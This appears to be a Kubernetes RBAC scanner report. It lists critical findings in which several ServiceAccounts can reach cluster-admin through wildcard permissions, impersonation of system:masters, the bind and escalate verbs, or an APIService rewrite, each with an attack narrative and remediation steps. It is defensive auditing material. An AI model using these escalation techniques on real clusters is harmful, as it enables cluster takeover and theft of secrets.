Subject ServiceAccount/deepchain-tenant/deepchain-privileged has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/deepchain-tenant/deepchain-privileged → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-privileged (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/deepchain-tenant/deepchain-privileged (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/deepchain-tenant/deepchain-privileged already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 9.7
ServiceAccount/flux-system/kustomize-controller can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/flux-system/kustomize-controller → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller

Subject ServiceAccount/flux-system/kustomize-controller has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/flux-system/kustomize-controller → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/flux-system/kustomize-controller (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/flux-system/kustomize-controller (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/flux-system/kustomize-controller already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 9.7
ServiceAccount/foothold-exec/foothold-decoy-sa can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-decoy-sa → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa

Subject ServiceAccount/foothold-exec/foothold-decoy-sa has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/foothold-exec/foothold-decoy-sa (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/foothold-exec/foothold-decoy-sa (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/hookbackend-fixtures/apisvc-installer Cluster 9.7
ServiceAccount/hookbackend-fixtures/apisvc-installer can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/apisvc-installer → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/apisvc-installer

Subject ServiceAccount/hookbackend-fixtures/apisvc-installer has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/hookbackend-fixtures/apisvc-installer → / via apiservice_takeover (get,list,update apiservices): can re-point any API group's registration, native groups included, at a Service it controls, so the API server forwards that group's requests and its own credentials there

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/hookbackend-fixtures/apisvc-installer (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/hookbackend-fixtures/apisvc-installer (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/hookbackend-fixtures/apisvc-installer, the attacker rewrites an APIService registration (get,list,update apiservices) so that an API group is served by a Service it controls. The aggregator forwards every request for that group, with the API server's front-proxy credentials and the caller's identity, to that Service. For a native group this is the API server's own authority handed over; for an aggregated group it is that group's whole request stream.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. APIService rewrite: serving an API group apiservice_takeover

    An APIService registration tells the kube-aggregator which server answers an API group and version. One with spec.service set makes the aggregator proxy that group's requests to a Service, authenticating with the API server's own front-proxy client certificate and forwarding the caller's identity in headers. Rewriting the registration re-routes the group.

    For an aggregated group the attacker receives every request forwarded for it. For a native group (apps, rbac, authentication, core) the attacker serves it in the API server's stead, with the API server's credentials: that is cluster-admin, and nothing in-tree reverts the registration. The verb is held by installers such as metrics-server and is routinely granted without resourceNames.

    From ServiceAccount/hookbackend-fixtures/apisvc-installer
    Permission granted get,list,update apiservices
    Gives the attacker can re-point any API group's registration, native groups included, at a Service it controls, so the API server forwards that group's requests and its own credentials there
Remediation
Break the chain at the weakest hop: remove the permission get,list,update apiservices that enables the first hop (ServiceAccount/hookbackend-fixtures/apisvc-installer → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission get,list,update apiservices that enables the first hop (ServiceAccount/hookbackend-fixtures/apisvc-installer → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate Cluster 9.7
ServiceAccount/rbac-fixtures/sa-bind-escalate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-bind-escalate → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-bind-escalate

Subject ServiceAccount/rbac-fixtures/sa-bind-escalate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-bind-escalate → / via bind_or_escalate (create/update (cluster)roles + escalate): can widen a role it is already bound to, holding the escalate verb that lifts RBAC escalation prevention

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-bind-escalate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-bind-escalate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-bind-escalate, the attacker rewrites a role it is already bound to so that the role grants more than it did, typically everything. Writing a role with permissions you do not hold is normally refused; the escalate verb (create/update (cluster)roles + escalate) is the carve-out that lifts exactly that guardrail, and this subject holds it alongside write access to the role. No new binding is needed, because the subject is already bound to the role it is widening.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create/update (cluster)roles + escalate
    Gives the attacker can widen a role it is already bound to, holding the `escalate` verb that lifts RBAC escalation prevention
Remediation
Break the chain at the weakest hop: remove the create/update (cluster)roles + escalate capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-bind-escalate → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create/update (cluster)roles + escalate capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-bind-escalate → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 9.7
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admin → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-cluster-admin → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-cluster-admin (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/rbac-fixtures/sa-cluster-admin already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 9.7
ServiceAccount/rbac-fixtures/sa-impersonate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonate → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-impersonate → / via impersonate (impersonate groups): can impersonate any group, including system:masters

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-impersonate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-impersonate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses RBAC impersonation (the impersonate verb on impersonate groups) to send API requests as any identity in the cluster, including system:masters, which the apiserver hard-codes as cluster-admin. Granting impersonate on groups with no resourceNames is functionally a cluster-admin grant.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups with no resourceNames is equivalent to cluster-admin: the holder can impersonate system:masters. A resourceNames list limits the grant to the names it lists, compared exactly: resourceNames: ["*"] names a group literally called *, not every group.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate any group, including system:masters
Remediation
Break the chain at the weakest hop: remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Cluster 9.7
ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-rolebinding-mutate → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-rolebinding-mutate

Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-rolebinding-mutate → / via modify_role_binding (create/update (cluster)rolebindings + bind (cluster)roles): can bind itself to any role, holding the bind verb that satisfies RBAC escalation prevention

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-rolebinding-mutate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-rolebinding-mutate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update (cluster)rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-fixtures/sa-rolebinding-mutate
    Permission granted create/update (cluster)rolebindings + bind (cluster)roles
    Gives the attacker can bind itself to any role, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop: remove the create/update (cluster)rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create/update (cluster)rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 9.7
ServiceAccount/rbac-fixtures/sa-wildcard can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcard → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

